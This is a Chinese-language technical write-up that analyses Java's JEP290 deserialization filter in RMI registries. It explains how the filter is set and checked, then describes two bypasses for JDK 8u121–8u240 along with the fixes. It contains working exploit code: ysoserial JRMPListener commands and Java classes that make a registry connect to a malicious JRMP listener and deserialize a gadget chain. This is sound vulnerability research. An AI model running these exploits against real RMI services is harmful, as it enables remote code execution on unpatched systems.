RMI-JEP290的分析与绕过

JEP290是Java官方提供的一套来防御反序列化的机制，其核心在于提供了一个ObjectInputFilter接口，通过设置filter对象，然后在反序列化（ObjectInputStream#readObject）的时候触发filter的检测，同样，这套机制在RMI中也适用，所以在一些高版本的情况下，依靠单纯的反序列化的方式无法达到效果，但是我们可以借助一些方式来绕过它。

流程分析

JEP290 chek 点

JEP290 是 Java 底层为了解决反序列化攻击所提出的一种方案，主要有以下机制：

1. 提供一个限制反序列化类的机制，白名单或者黑名单
2. 限制反序列化的深度和复杂度
3. 为 RMI 远程调用对象提供了一个验证类的机制
4. 定义一个可配置的过滤机制，比如可以通过配置 properties 文件的形式来定义过滤器

它本来是针对 Java9 的一个新特性，但是官方随后决定向下引进增强该机制，对以下 JDK 增加了该特性：

1. JDK8u121
2. JDK7u13
3. JDK6u141

ObjectInputStream#setInternalObjectInputFilter：

在 RMI 中 JEP290 主要是在远程引用层 之上进行过滤的，所以其过滤作用对 Server 和 Client 的互相攻击无效（在完成和 Registry 通信之后，客户端和服务端的相互通信就到了远程引用层和传输层）：

启动一个 Registry，然后在 Server 端 bind（rebind）一个恶意对象，被 filter 过滤掉：

根据对应关系，直接看 RegistryImpl_Skel#dispatch 中的 case 0，对应着 bind 方法：

var7 是绑定对象的名称，var80 就是要导出的远程对象，单步跟进 var80 的反序列化过程：

跟进 ObjectInputStream#readObject0 方法：

单步到 readOrdinaryObject 方法，再跟进到 readClassDesc 方法，在这个方法里会根据反序列化的类不同进入不同的 case 里：

重点关注下面两个 case，分别对动态代理类的 Class 和非动态代理类的 Class 进行处理，而且都会调用到 filterCheck 方法对序列化流进行 check（图就不贴了，自行跟入查看即可）。

这个 filterCheck 方法最终调用的是 RegistryImpl#registryFilter 方法（至于为什么后面会说到），它对反序列化的类进行了白名单的限制：

白名单内容：

只要反序列化的类不是白名单中的类，就会返回 REJECTED 操作符，表示序列化流中有不合法的内容，直接抛出异常。

再说回我们 bind 的恶意对象为什么会被 check，在 RMI 中，Server 端执行 bind 方法的参数必须是一个实现了 Remote 接口的对象，但是普通的 CC 链最后生成的恶意对象是不满足这个条件的，这时候就需要动态代理来代理 Remote 接口，实际上最后绑定的是动态代理生成的代理对象：

InvocationHandlerImpl handler = new InvocationHandlerImpl(expMap);
Remote remote = (Remote) Proxy.newProxyInstance(handler.getClass().getClassLoader(), new Class[]{Remote.class}, handler);
registry.bind("pwn", remote);

代理对象是如何触发反序列化的呢？

代理对象内部有 InvocationHandlerImpl 对象的引用，而后者内部也有一个 expMap 的引用，三者都实现了 Serializable 接口，由于反序列化具有传递性，当代理对象被反序列化的时候，最后也会导致 expMap 被反序列化。

所以在反序列化的时候，除了对代理对象本身反序列化，也要对其内部字段进行反序列化，类似于一个递归的过程，我们的代理对象本身（它自身实现了被代理的接口，这里是 Remote 接口）是不会触发 check 的，真正触发 check 的其实是内部的 InvocationHandlerImpl，来看调用栈：

通过调用栈我们可以看到从开始到触发 check 其实是调用了两次 readObject0 方法的，第一次就是对代理对象本身的反序列化，第二次是对其内部字段进行反序列化。

readSerialData 方法会读取对象内部的字段，然后循环进入 readObject0 方法处理：

同上面分析的 readObject0 方法一样，会进入到不同的 case 中，最后我们的 InvocationHandlerImpl 类在 readNonProxyDesc 方法中触发了 filter 的 check：

filter 创建过程

另一个问题，filter 是什么时候被设置的呢？

首先，在 RegistryImpl 的构造方法中传入了一个方法引用：

值得注意的是，RegistryImpl 有多个重载的构造方法，核心都是传入了一个 Lambda 表达式作为 filter，只是代码细节有些许不同，就不作额外分析了。

RegistryImpl::registryFilter 即 info → RegistryImpl.registryFilter(info)，因为它和 ObjectInputFilter 接口的抽象方法签名一致，所以可以直接通过方法引用来简写：

这个 Lambda 表达式以 ObjectInputFilter 接口的形式传入了 UnicastServerRef2 的构造方法中：

最后赋值给了该类的 filter 成员变量：

在触发 check 的时候，filter 是一个 Lambda 表达式，就是最开始传入的 RegistryImpl::registryFilter：

所以才会进入方法 RegistryImpl#registryFilter 方法中去，看一眼调用栈：

此外，之前提到在 Registry 的创建过程中 filter 最终只是作为 UnicastServerRef 的一个成员变量而存在，直到 Registry 在处理请求的时候，在 oldDispatch 方法中才把 filter 赋值给了 ObjectInputStream 的成员变量 serialFilter。

UnicastServerRef#oldDispatch：

UnicastServerRef#unmarshalCustomCallData：

Bypass 8u121~8u230

UnicastRef 类

UnicastRef 是在白名单上的，RMI Server 或者 Client 和 Registry 的通信就基于它。

在代码层面来说，我们在执行 bind、lookup 等方法的时候都会先获取到一个 Registry，比如：

跟进 LocateRegistry#getRegistry 方法：

这里的 TCPEndpoint 封装了 Registry 的 host、端口等信息，然后用 UnicastRef 封装了 liveRef。最终获取到的是一个 RegistryImpl_Stub 对象；这个对象里面封装了一个 UnicastRef 对象：

然后我们用这个 Stub 对象（客户端）去连接 Registry，以 bind 方法为例：

从这个过程来看，通过 UnicastRef 的 newCall 方法发起连接，然后把要绑定的对象发送到 Registry。

所以如果我们可以控制 UnicastRef 中 LiveRef 所封装的 host、端口等信息，我们就可以发起一个任意的 JRMP 连接请求，这其实就是 ysoserial 中的 payloads.JRMPClient 的原理。

RemoteObject 类

RemoteObject 是一个抽象类，在后面的 Bypass 思路构造中它会扮演一个很重要的角色。它实现了 Remote 和 Serializable 接口，代表它（及其子类）可以通过白名单的检测，而 Bypass 利用的关键点就是它的 readObject 方法：

这里的 ref 就是一个 UnicastRef 对象，往下跟 readExternal：

跟进 read 方法：

在这个方法中会读出序列化流中的 host 和端口信息（就是恶意 JRMP 服务的 host 与端口，后面会提到），然后重新封装成一个 LiveRef 对象，将其存储到当前的 ConnectionInputStream 上，调用 saveRef 方法：

建立了一个 TCPEndpoint 到 ArrayList<LiveRef>的映射关系。

上述部分是在 RegistryImpl_Skle#dispatch 中的 readObject 方法触发的：

在服务端触发了反序列化之后，来到 StreamRemoteCall#releaseInputStream 方法中，在这里会调用 ConnectionInputStream#registerRefs 方法：

这里的 this.in 就是上文中提到的存储了 LiveRef 对象的那个 ConnectionInputStream 对象，接着跟进：

在这里就会发现会根据之前存储的映射关系（”在这个方法中会读出序列化流中的 host 和端口信息（就是恶意 JRMP 服务的 host 与端口，后面会提到），然后重新封装成一个 LiveRef 对象，将其存储到当前的 ConnectionInputStream 上，调用 saveRef 方法：image.png 建立了一个 TCPEndpoint 到 ArrayList

的映射关系。”）提取值，然后传入 DGCClient#registerRefs 方法中：

最终由 DGCClient 向恶意的 JRMP 服务端发起 lookup 连接：

Bypass 思路

经过对 RemoteObject 类的分析我们可以明确：

1. RemoteObject 类（及其子类）对象可以被 bind（lookup 方法也可以）到 Registry，且在白名单之上。
2. RemoteObject 类（及其没有实现 readObject 方法的子类）经过反序列化可以通过内部的 UnicastRef 对象发起 JRMP 请求连接恶意的 Server。

所以 Bypass JEP290 的思路如下：

1. 用 ysoserial 开启一个恶意的 JRMPListener。
2. 控制 RemoteObject ↓ 中的 UnicastRef 对象，这个对象封装了恶意 Server 的 host、端口等信息。
3. Client / Server 向 Registry 发送这个 RemoteObject↓ 对象，Registry 触发 readObject 方法之后会向恶意的 JRMP Server 发起连接请求。
4. 后续触发 JRMPListener 。

Registry 触发反序列化的利用链：

※ 备注 1

重点关注 UnicastRef#invoke 方法，这个方法有两种不同的重载形式：

这里的 Bypass121 使用的是第一种形式，而后面的”Bypass 8u231~8u240″使用的第二种形式（用于调用远程方法），但是两种重载都会触发 StreamRemoteCall#executeCall 方法。

可见，对比于Registry 攻击 Client&Server，虽然中间流程复杂了一些，但是最后都来到了 StreamRemoteCall#executeCall 方法，同样反序列化了 BadAttributeValueExpException 对象。

所以 Bypass JEP290 的关键在于：通过反序列化将 Registry 变为 JRMP 客户端，向 JRMPListener 发起 JRMP 请求。

然后就是类的寻找：

顺着上面的思路找，很多子类都满足要求，比如：

1. RemoteObjectInvocationHandler
2. RMIConntionImpl_Stub
3. DGCImpl_Stub
4. RmiServerImpl_Stub
5. …

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections6 'calc'

public class RMIRegistry {
public static void main(String[] args) {
try {
LocateRegistry.createRegistry(1099);
System.out.println("RMI Registry Start");
} catch (Exception e) {
e.printStackTrace();
}
while (true) ;
}
}


public class DefineClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry(1099);
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("localhost", 9999);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
// lookup方法也可以，但需要手动模拟lookup方法的流程
registry.bind("pwn", handler);
}
}

修复

在 8u231 版本及以上的 DGCImpl_Stub#dirty 方法中多了一个 setObjectInputFilter 的过程，又会被 JEP290 check 到了 。

Bypass 8u231~8u240

总分析

在上面的 Bypass 中，UnicastRef 类用了一层包装，通过递归的形式触发反序列化；通过 DGCClient 向 JRMPListener 发起 JRMP 请求，而这条 Gadget 是直接利用一次反序列化发起 JRMP 请求。

Gadget 利用链如下：

调用链分析

UnicastRemoteObject 作为反序列化的入口，

UnicastRemoteObject#readObject：

来到

UnicastRemoteObject#reexport：

这里我们在 exp 中会设置 ssf，进入第二个分支，

UnicastRemoteObject#exportObject：

这里把 port、csf、ssf 作为构造方法参数传入 UnicastServerRef2，其实它里面是包装了一层 LiveRef：

public UnicastServerRef2(int var1, RMIClientSocketFactory var2, RMIServerSocketFactory var3) {
super(new LiveRef(var1, var2, var3));
}

再跟入重载的 UnicastRemoteObject#exportObject：

之后再来到

UnicastServerRef#exportObject：

这部分在”Registry 创建”已经有过分析了，在这里会创建 RegistryImpl_Stub、RegistryImpl_Skel 对象，最终调用到

TCPTransport#listen 方法创建监听栈，中间过程省略，直接跟入

TCPTransport#listen ：

var1 是一个 TcpEndpoint 对象，跟入

TcpEndpoint#newServerSocket 方法：

在这里调用了之前提到的 ssf 的方法，这里有一层动态代理，通过 RemoteObjectInvocationHandler 代理 RMIServerSocketFactory 接口，然后把生成的代理对象设置为该 ssf，于是来到了

RemoteObjectInvocationHandler#invoke：

前面多个 if 都不满足，直接来到

RemoteObjectInvocationHandler#invokeRemoteMethod：

这里的 ref 可以设置为 UnicastRef，然后来到了熟悉

UnicastRef#invoke 方法：

备注 1：这一段其实在”Client 攻击 Server”中就已经分析过了，只不过 UnicasrRef 中前者封装的一个是 Server 端的 host 、端口等信息，另一个封装的是恶意 JRMPListener 的信息。

备注 2：无论 RMI Registry、RMI Client、RMI Server、DGCClient 的任意两者通信，它们发起 JRMP 请求都利用了 UnicastRef 类。

在 UnicastRef#invoke 方法中让 Registry 向 JRMPListener 发起了 JRMP 请求，进行数据交互，来到了 StreamRemoteCall#executeCall：

反序列化了 JRMPListener 发来的 payload，这里获取到 InputStream 之后并没有设置 JEP290 的 filter，所以又一次成功 Bypass。

Exploit

有个小问题

但是还有一个问题没解决，本地在 bind 或者 rebind 一个对象的时候，在序列化对象的时候会来到 MarshalOutputStream#replaceObject 方法：

如果这个对象没有继承 RemoteStub 的话，会进行转化：

原先的 UnicastRemoteObject 会被转化成 RemoteObjectInvocationHandler，自然到服务端就无法触发 UnicastRemoteObject#readObject 方法。

解决方案是自己重写一下 RegistryImpl#bind 方法，在序列化之前通过反射 ObjectInputStream，修改 enableReplace 为 false：

最后的 Exploit

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections6 'calc'

public class RMIServer {
public static void main(String[] args) throws Exception {
UnicastRemoteObject payload = getPayload();
Registry registry = LocateRegistry.getRegistry(1099);
bindReflection("pwn", payload, registry);
}

static UnicastRemoteObject getPayload() throws Exception {
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("localhost", 9999);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));

System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles", "true");
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
RMIServerSocketFactory factory = (RMIServerSocketFactory) Proxy.newProxyInstance(
handler.getClass().getClassLoader(),
new Class[]{RMIServerSocketFactory.class, Remote.class},
handler
);

Constructor<UnicastRemoteObject> constructor = UnicastRemoteObject.class.getDeclaredConstructor();
constructor.setAccessible(true);
UnicastRemoteObject unicastRemoteObject = constructor.newInstance();

Field field_ssf = UnicastRemoteObject.class.getDeclaredField("ssf");
field_ssf.setAccessible(true);
field_ssf.set(unicastRemoteObject, factory);

return unicastRemoteObject;
}

static void bindReflection(String name, Object obj, Registry registry) throws Exception {
Field ref_filed = RemoteObject.class.getDeclaredField("ref");
ref_filed.setAccessible(true);
UnicastRef ref = (UnicastRef) ref_filed.get(registry);

Field operations_filed = RegistryImpl_Stub.class.getDeclaredField("operations");
operations_filed.setAccessible(true);
Operation[] operations = (Operation[]) operations_filed.get(registry);

RemoteCall remoteCall = ref.newCall((RemoteObject) registry, operations, 0, 4905912898345647071L);
ObjectOutput outputStream = remoteCall.getOutputStream();

Field enableReplace_filed = ObjectOutputStream.class.getDeclaredField("enableReplace");
enableReplace_filed.setAccessible(true);
enableReplace_filed.setBoolean(outputStream, false);

outputStream.writeObject(name);
outputStream.writeObject(obj);

ref.invoke(remoteCall);
ref.done(remoteCall);
}
}

修复

在 jdk 8u241 中进行了修复，在 RemoteObjectInvocationHandler#invokeRemoteMethod：

声明要调用的方法的类，必须实现 Remote 接口，而 RMIServerSocketFactory 类没有实现该接口，于是会直接抛出异常。